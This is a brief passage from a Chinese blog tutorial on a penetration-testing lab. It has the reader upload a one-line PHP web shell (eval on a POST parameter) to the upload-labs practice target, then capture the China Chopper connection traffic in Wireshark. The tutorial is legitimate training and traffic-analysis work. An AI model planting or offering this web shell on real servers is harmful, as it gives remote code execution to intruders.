环境准备：构建完善的安全渗透测试环境：推荐工具、资源和下载链接_渗透测试靶机下载-CSDN博客

一、上传木马到靶场然后使用菜刀连接抓取流量

1）上传木马到upload-labs靶场

自己创建一个php文件作为木马

<?php
eval($_POST["pass"]);

2）然后开启 Wireshark 抓包，再使用菜刀连接

开启抓包在使用菜刀连接（避免一些没有必绕的流量，筛选起来麻烦）